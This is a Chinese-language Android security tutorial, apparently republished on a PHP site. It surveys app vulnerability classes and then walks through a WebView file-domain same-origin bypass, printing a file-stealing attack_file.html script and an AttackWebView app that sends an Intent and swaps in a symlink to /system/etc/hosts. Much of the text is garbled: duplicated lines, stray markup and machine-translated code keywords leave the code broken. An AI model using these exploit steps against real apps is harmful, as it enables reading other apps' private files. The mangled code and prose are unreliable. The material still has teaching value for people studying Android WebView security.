基本知識Android架構
Kernel核心層
漏洞危害極大,通用性強
驅動由於多而雜,也可能存在不少漏洞
Libaries系統運行庫層
#系統中間件形式提供的運作庫
包括libc、 WebKit、SQLite等等
AndroidRunTime
Dalvik虛擬機器和核心庫
提供一連串的服務和API的介面
主畫面Home、聯絡人Contact、電話Phone、瀏覽器Browser
開發者使用應用程式框架層的API實作的程式
平台功能的濫用,或未能使用平台的安全控制。如Intent誤用、權限誤用等
很廣泛,可能涉及行動平台各服務
iOS系統中,將密碼資料存放在本機檔案而沒有存放在金鑰鏈中,導致可以從偽加密的備份資料中讀取
Android系統中,Intent使用不當導致惡意使用者劫持修改intent的內容,以原始進程的身份權限執行任意動作
不安全的資料儲存
不安全的通訊
典型漏洞及挖掘方法資料儲存漏洞
資料檔或目錄
明文儲存
MODE_PRIVATE
#明文儲存
#建立資料庫時沒有使用MODE_PRIVATE模式
建立設定檔時沒有使用MODE_PRIVATE模式,導致其他程式可以讀取設定檔
明文存儲,而root用戶可讀,導致敏感資料外洩
SharedPreferences
data/data/程式包名/shared_prefs/*.xml
#SQLiteDatabases
data/data程式包名/database/*.db
#InternalStorage
#data/data/程式報名/files/*
ExternalStorage
/mnt/sdcard/*
##資料通訊漏洞
透過區域網路嗅探、惡意公用WIFI、惡意代理服務、DNS劫持等手段擷取明文通信,產生中間人攻擊
搜尋.method public checkServerTrusted
檢查是否有return-void
元件暴露漏洞
Android:exported是四大元件中都有的屬性,用來表示是否支援其他應用程式呼叫目前元件
如果有intent-filter,預設值為true;反之預設則為false
exported匯出元件的權限控制
activity暴露後被第三方調用,可能在沒有密碼的情況下登入/重設密碼
敏感資訊外洩
#recviver暴露後被第三方啟動,可能會查看到偵錯等信息中所包含的敏感資訊
權限程式透過呼叫高權限程式暴露的元件,執行高權限動作
ECB模式容易受到分析或重播攻擊
主要包含三種漏洞:
編寫遍歷物件的網頁,如果存在getClass方法則存在遠端程式碼執行漏洞
fiddler的before腳本可以讓任意webview存取任意網頁時進行測試
Android4.2以後,透過addJavascriptInterface註解的方法可被網頁中的java方法呼叫。如果未加過濾則可能存在漏洞
挖掘方法:
網域控制不嚴格
透過符號連結攻擊可以存取本機檔案:無論怎麼限制,js都能存取本檔案的。而透過延時執行和將目前檔案替換成指向指向其他檔案的軟連線就可以讀取到被符號連結所指向的檔案
WebView如果開啟了對JavaScript的支持,同時未對file:///形式的URL做限制,則會導致coookie、私有檔案、資料庫等敏感資訊外洩
##密碼明文儲存
當使用者選擇儲存在WebViEW中輸入的使用者名稱和密碼時,則會被明文儲存到app目錄下的data.db中
檢查AndroidManifest檔案
調試模式分析
drozer 抓包分析資料及介面
反分析
加密破解以及對邏輯和程式碼的進一步分析 #-
#自動化輔助系統
###MobSF 包含前端web介面,############Marvin 包含前端web介面,部署麻煩############Inspeckage Xposed外掛##################今天我們就來講WebView 的漏洞##### ##[Java] 純文字檢視 複製程式碼######?######範例程式碼位址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。 ######或是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1#########程式碼如下程式碼主要區別在於這次載入的attack_file. html######public class MainActivity extends Activity { ####### private WebView webView; ###### private Uri mUri; ###### private Uri mUri; #### mUrl1 = "file:///android_asset/html/attack_file.html"; ###### //String mUrl2 = "file:///android_asset/html/test.html"; ###### @ Override ###### protected void onCreate(Bundle savedInstanceState) { ###### super.onCreate(savedInstanceState); webView = (WebView) findViewById(R.id.webview); ###webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override #View ## String message,JsResult result) {
# //此處必要的功能
return super.onJsAlert ## });
webView.loadUrl(mUrl1);
}
## 類別 JSInterface { public String onButtonClick(String text) {# public String onButtonClick(String.
runOnUiThread(new Runnable() {
@O. # Log.e("leehong2", "onButtonClick: text = " str);
Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LTHlicationContext(), "onButtonClick: text }
# });
return " 此文字是從Java層傳回的。js text = " text;
}
public void onImageClick(String url, int width, int height) { width "高度=“高度;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@O. # Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();
}
# });
}
}
}
這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),表示可以透過javaScriptScript存取檔案檔案。
我們再看attack_file.html的程式碼:' functionstealFile() { var file = "file:///mnt/sdcard/233.txt"; var xmlHttpReq = new XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){## xml.
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
腳本>
由於setAllowFileAccessFromFileURLs為true,所以webView.load這個html可以回傳/mnt/sdcard/2333.txt的值。
# #限制如果setAllowFileAccessFromFileURLs為false,webView.load這個html不可以回傳/mnt/sdcard/2333.txt的值。
即使setAllowFileAccessFromFileURLs為false,我們透過一種方式也可以跨過這個,這個我可以跨過這個,這個我下次講講。
先執行WebViewFileDemo1,然後再執行AttackWebView來攻擊WebView。
我們先看WebViewFileDemo1,主要程式碼如下:
package com.example.webviewfiledemo; [/size][/ font][/p]
import android.app.Activity;
import android.content.Intent;
#import android.net.Uri;
#4im #import android.os.Bundle; import android.util.Log; import android.webkit.JsResult; #import android.webkit.WebChromeClient #import android.webkit.WebChromeClient ##;import android.webkit.WebView;
import android.widget.Toast;
public class MainActivity extends Activity {
private WebView webView;# # private Uri mUri;
private String url;
@Override
savedInstanceState);
setContentView(R.layout.activity_main);
webView = (WebView) findViewById(R.id.webview); webView = (WebView) findViewById(R.id.webview); );
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
# web Settings ().setAllowFileAccess(false);
# webView.setWebChromeClient(new WebChromeClient() {
onJsAlert(WebView view, String url, String message, JsResult result) {
//Required functionality here
}
}) ;
Intent i = getIntent();
if (i != null) {
##c # } if (mUri != null) { url = mUri.toString(); webView.loadUrl(url); } }##} &
} 接收來自外部的Intent,提取Intent裡面的url並載入。 接著我們來看AttackWebView工程,這裡就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。程式碼如下:public class MainActivity extends Activity { public final static String HTML = Wait a few seconds." "<script>" <p></p> function doitjs(){" <p></p> "var xhr = new XMLHttpRequest;" <p></p> "xhr.onload = function(){" "xhr.onload = function(){" <p></p># "d.body.appendChild(d.createTextNode(txt));" <p></p> "alert(txt);" "};" <p></p> GE URL);" <p></p> "xhr.send(null);" <p></p> " #. <p></p> <p> “腳本>” </p> <p> "</body>"; </p> <p> 公用靜態字串 MY_TMP_DIR; </p> <p> @Override </p> <p> protected void onCreate(Bundle savingInstanceState) { </p> <p> super.onCreate(savedIn</p>## super.onCreate(savedInstanceState); <p></p> setContentView(R.layout.activity_main); <p></p> MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); <p></p> doit(); <p></p> } <p></p> public void doit() { <p></p> String HTML_PATH = MY_TMP_DIR "/A0" ".html"; <p></p> 嘗試 { <p></p> cmdexec("mkdir " MY_TMP_DIR); <p></p> cmdexec("echo \"" HTML "\" > " HTML_PATH); <p></p> cmdexec("chmod -R 777 " MY_TMP_DIR); <p></p> Thread.sleep(1000); <p></p> invokeVulnAPP("file://" HTML_PATH); <p></p> Thread.sleep(6000); <p></p> cmdexec("rm " HTML_PATH); <p></p> cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH); <p></p> } catch (Exception e) { <p></p> // TODO: 處理例外 <p>## # nAPP(String url) { </p> <p> 嘗試{ </p> <p> Intent Intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url)); </p> <p> intent.addCategory(Intent.CATEGORY_LAUNCHER); </p> <p> intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity"); </p> <p> startActivity(意圖); </p> <p> } catch (Exception e) { </p> <p> // TODO: 處理例外 </p>## String cmd) { <p></p> 嘗試{ <p></p> String[] tmp = 新 String[] { "/system/bin/sh", "-c", cmd }; <p></p> Runtime.getRuntime().exec(tmp); <p></p> } catch (Exception e) { <p></p> // TODO: 處理例外 <p>## ##透過invokeVulnAPP,開啟了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url為/sdcard/payload_odex/A0.html,webView加載了這個html,html內容如下:</p> <p></p>public Final static String HTML = <p></p> "" <p></p> “<u>請稍等幾秒鐘。</u>” <p></p> “” <p></p> “var d = 文檔;” <p></p> “函數 doitjs(){” <p></p> “var xhr = new XMLHttpRequest;” <p><br> “xhr.onload = function(){” </p> <p> “var txt = xhr.responseText;” </p> <p> “d.body.appendChild(d.createTextNode(txt));” </p> <p> “警報(txt);” “};” </p> <p> "xhr.open('GET',d.URL);" </p> <p> “xhr.send(null);” </p> <p> “}” </p>#<p> "setTimeout(doitjs,8000);" </p> <p> "</script>"View載入A0.html後,這個html的作用是延遲8秒讀取A0.html本身。我們再回到AttackWebView工程,往下看程式碼。
cmdexec("mkdir " MY_TMP_DIR);
cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); cmdexec("echo \"" HTML "\" > " HTML_PATH); ;
Thread.sleep(1000);
invokeVulnAPP("file://"read_PATH);
cmdexec("rm " HTML_PATH);
cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);
#-invokeVulnAPPnAPP後,6秒後,我們用完後,我們用完後,我們用完先把A0.html刪除,再重新軟連線到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView載入A0.html,這個html的作用是延遲8秒讀取A0.html本身,所以8秒後讀取的是軟連線/system/etc/hosts 。
以上是WebView File域同源策略繞過漏洞實例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!